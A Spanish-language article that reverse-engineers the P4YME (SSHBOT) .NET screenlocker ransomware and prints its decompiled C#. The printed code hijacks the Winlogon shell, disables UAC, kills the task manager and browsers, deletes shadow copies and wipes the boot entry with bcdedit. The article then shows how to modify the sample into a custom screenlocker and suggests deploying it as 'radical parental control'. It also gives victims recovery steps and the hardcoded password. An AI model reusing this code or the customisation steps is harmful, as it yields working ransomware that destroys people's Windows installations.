Do Math or Windows Dies! Personalizando un ransomware escrito en .NET

NOTA: El contenido de este artículo es educativo e informativo. El objetivo es aprender cómo funciona el malware y cómo identificar sus capacidades. El autor no se hace responsable de una mala utilización de la información aquí expuesta. El autor NO RECOMIENDA bajo NINGÚN CONCEPTO la ejecución de la muestra en una máquina fuera de laboratorio aislado.

En este artículo vamos a analizar, destripar y personalizar un pequeño malware de tipo screenlocker (una variante de Ransomware que bloquea el equipo pero no cifra los ficheros). Se trata de una muestra torpe pero efectiva que vamos a manipular para crear nuestro propio screenLocker.

SSHBOT, el ScreenLocker chapuza

SSHBOT, también conocido como P4YME, es un malware antiguo y poco sofisticado que pertenece a la familia de los ransomwares.

La muestra utilizada en este artículo es pública y está subida a VirusTotal, donde cuenta con 54 detecciones:

Cuando se ejecuta, reinicia el equipo y muestra este mensaje:

Originalmente, este rescate debería pagarse al ciberdelincuente por Telegram para obtener la contraseña de desbloqueo antes de que finalizara el tiempo bajo la amenaza de corromper Windows. Este mensaje bloquea el equipo, y no permite desbloquearlo hasta introducir la clave correcta.

Sin embargo, como veremos, esto no será un impedimento para nosotros :)

No te he hecho caso, lo he ejecutado y ahora tengo el equipo bloqueado. ¿Qué hago?

Lo primero, mantener la calma. Hay varias opciones:

  1. Si estás en una máquina virtual, vuelve a una snapshot anterior.
  2. Si estás usando la misma muestra, la clave está más adelante (P4YME0101)
  3. Si no tienes muchos conocimientos técnicos sigue este procedimiento:
    1. Inicia el equipo en Modo seguro con funciones de red.
    2. Inicia sesión con la cuenta infectada por P4YME.
    3. Descarga un antivirus que detecte la muestra.
  4. Si eres administrador del equipo:
    1. Intenta acceder al directorio donde se ejecutó el malware y edita el fichero timer.txt poniendo un número más grande para ganar tiempo.
    2. Si además puedes acceder al fichero password.txt, debes poder leer la contraseña de desbloqueo.
  5. Si tienes la muestra en otro equipo… abre el fichero con DnSpy y busca el método CreatePass(), la contraseña está grabada en la línea 9.
  6. Arrepiéntete.

Malware escrito en .NET, ¿y qué?

Los binarios escritos en .NET tienen una particularidad muy interesante: de forma similar a Java o Python, no llegan a compilarse a código máquina, sino que el “compilador” genera un bytecode propio de Microsoft conocido como CIL.

Common Intermediate Language (CIL, pronunciado “sil” o “kil”) ( anteriormente llamado Microsoft Intermediate Language o MSIL) es el lenguaje de programación legible por humanos de más bajo nivel en el Common Language Infrastructure y en el .NET Framework. Los lenguajes del .NET Framework compilan a CIL. CIL es un lenguaje ensamblador orientado a objetos, y está basado en pilas. Es ejecutado por una máquina virtual. Los lenguajes .NET principales son C#, Visual Basic .NET, C++/CLI, y J#.

Esta característica nos permitirá “reversear” el binario de manera sencilla, usando la herramienta adecuada.

Destripando P4YME

Hurgando en las entrañas del código con DnSpy encontramos la contraseña grabada a fuego: P4YME0101

Podemos observar también dónde se establece de cuánto tiempo dispone el cliente para pagar el rescate.

Y finalmente podemos ver también cómo piensa cumplir la amenaza de eliminar Windows:

if (flag)
{
    this.countdown.Stop();
    Process.Start("bcdedit", "/delete {current}");
    MessageBox.Show("Time ran out. Bye Windows.", "P4YME");
    Process.Start("shutdown", "/r /t 1");
}

El primer comando, bcdedit /delete {current}, eliminará la entrada del menú de arranque en Windows, lo que impedirá que el equipo pueda iniciarse.

La última línea fuerza un reinicio inmediato de la máquina, lo que impedirá que podamos reescribir dicha entrada a tiempo y provocando la muerte de nuestro equipo.

Respecto a los procesos eliminados, SSHBOT tiene el siguiente listado:

// P4YME.Pay
// Token: 0x06000012 RID: 18 RVA: 0x000025E4 File Offset: 0x000007E4
private void StopProcess(){
    for (;;){
        Stop stop = new Stop();
        stop.StopProcess("cmd");
        stop.StopProcess("Taskmgr");
        stop.StopProcess("FireFox");
        stop.StopProcess("edge");
        stop.StopProcess("Telegram");
        stop.StopProcess("explorer");
        stop.StopProcess("chrome");
    }
}

Al cerrar Taskmgr (Administrador de tareas) no hay una manera cómoda de cerrar el proceso malicioso.

Además, al reiniciar el equipo se observa que explorer.exe no se inicia. Eso es debido a que sobreescribe el proceso WinLogon (que se encarga del inicio de sesión en Windows) del registro, iniciándose el propio malware en su lugar:

public void CreateRestart(string path){
    try{
        using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true)){
            registryKey.SetValue("Shell", Application.ExecutablePath);
        }
        using (RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true)){
            registryKey2.SetValue("EnableLUA", 0);
        }
        using (RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true)){
            registryKey3.SetValue("shutdownwithoutlogon", 0);
        }
        using (RegistryKey registryKey4 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true)){
            registryKey4.SetValue("NoClose", 1);
            registryKey4.Close();
        }
        using (StreamWriter streamWriter = new StreamWriter(path)){
            streamWriter.Close();
        }
        Process.Start("shutdown", "/r /t 1");
        Process.Start("vssadmin delete shadows", "/all");
    }
    catch {}
}

También intenta borrar las shadow-copies.

Cuando introducimos una contraseña, el malware restablece la configuración en el registro y reinicia la máquina, recuperando nosotros el control del equipo.

Personalizando nuestro ScreenLocker

Como tenemos “decompilado” el código, podemos modificar el IL con relativa facilidad para adaptar este malware a nuestros designios.

En este artículo vamos a personalizarlo para que, al bloquear el equipo, obligue al usuario a resolver una ecuación matemática.

Tomemos, por ejemplo, 3x²-6x-9=0 (una ecuación de segundo grado que no debería suponer mayor reto).

Este tipo de ecuaciones se pueden resolver con la siguiente fórmula:

Donde a = 3, b = -6, c = -9 Esto nos lleva a dos posibles soluciones: x = -1 y x = 3.

Como sólo podemos tener una contraseña válida, aceptaremos como buena la solución positiva.

Una vez determinada cuál será la nueva contraseña (o solución del reto) modificamos el código de la muestra:

public void CreatePass(string path){
    try{
        using (StreamWriter streamWriter = new StreamWriter(path)){
            streamWriter.WriteLine("3");
            streamWriter.Close();
        }
    }
    catch {}
}

Nótese que la clave debe ser una cadena de texto y no un valor numérico, por lo que trataremos 3 como texto.

También podríamos personalizar el tiempo de la misma manera, pero consideramos que 30 minutos es tiempo suficiente para resolver el reto. ¡Seamos exigentes!

Respecto al texto de secuestro, debemos editar los siguientes strings:

// P4YME.Pay
// Token: 0x06000017 RID: 23 RVA: 0x0000289C File Offset: 0x00000A9C
private void InitializeComponent(){
    [...]
    //título
    this.label1.Location = new Point(37, 9);  // Point(x,y) determina la posición del texto
    this.label1.Size = new Size(43, 13);      // Longitud del mensaje
    this.label1.Text = "Do Math or Windows dies";
    this.textBox1.BackColor = Color.Silver;
    [...]
    this.button1.Text = "Submit answer: positive X value";
    [...]
    this.label2.Text = "Time left: ";
    [...]
    this.label3.Text = "1800";
    [...]
    this.label4.Text = "This computer is locked!";
    [...]
    this.label5.Text = "Solve this: ==> 3x²-6x-9=0 <==";
    [...]
    this.label6.Text = "If you can't solve it on time,";
    [...]
    this.label7.Text = "YOU HAVE 30 MINUTES!";
    [...]
    this.label8.Text = "___________________________________";
    [...]
    this.label9.Text = "___________________________________";
    [...]
    this.label10.Text = "Windows will be deleted :O";
    [...]
    this.BackColor = Color.LightGray; // editamos el fondo a gris claro para que sea más legible
    this.ForeColor = Color.Black;
    base.Name = "Solve the Equation. You can do it :D";
    this.Text = "Do Math or Reinstall Windows";
    [...]
}

Si cambiamos los mensajes y aplicamos un par de cambios estéticos podemos dejar la nota de secuestro de la siguiente forma:

Nota: una vez introducida la contraseña se debe pulsar el botón. La tecla “Intro” generará un salto de línea en la entrada que invalidará la contraseña.

Conclusiones y posibles usos

En esta muestra no se observan capacidades de exfiltración, movimiento lateral o escalada de privilegios. Se trata de un malware probablemente dirigido a usuarios domésticos, camuflado como software pirata o como crack de algún programa.

Tampoco se trata de un malware sofisticado: no se aprecia ninguna clase de ofuscación, ni las capacidades antes mencionadas, y tiene la clave y limitación temporal grabadas en el propio código. Sin embargo, la capacidad dañina es real y puede poner en peligro a los usuarios.

Al estar escrita en .NET, podemos malear y modificar el binario con relativa facilidad, reutilizándolo y personalizándolo.

Respecto a los usos (no criminales), la muestra modificada podría emplearse como control parental radical: si tu prole no es capaz de superar el reto perderá su ordenador, con sus preciados juegos. También podría usarse como bloqueador de equipo personal sensible: si en el tiempo determinado el usuario no vuelve e introduce la contraseña (por el motivo que sea), el sistema operativo se corromperá

Por supuesto, siempre habrá maneras de recuperar la información :)

Y tú, ¿para qué lo usarías?

Ver también en: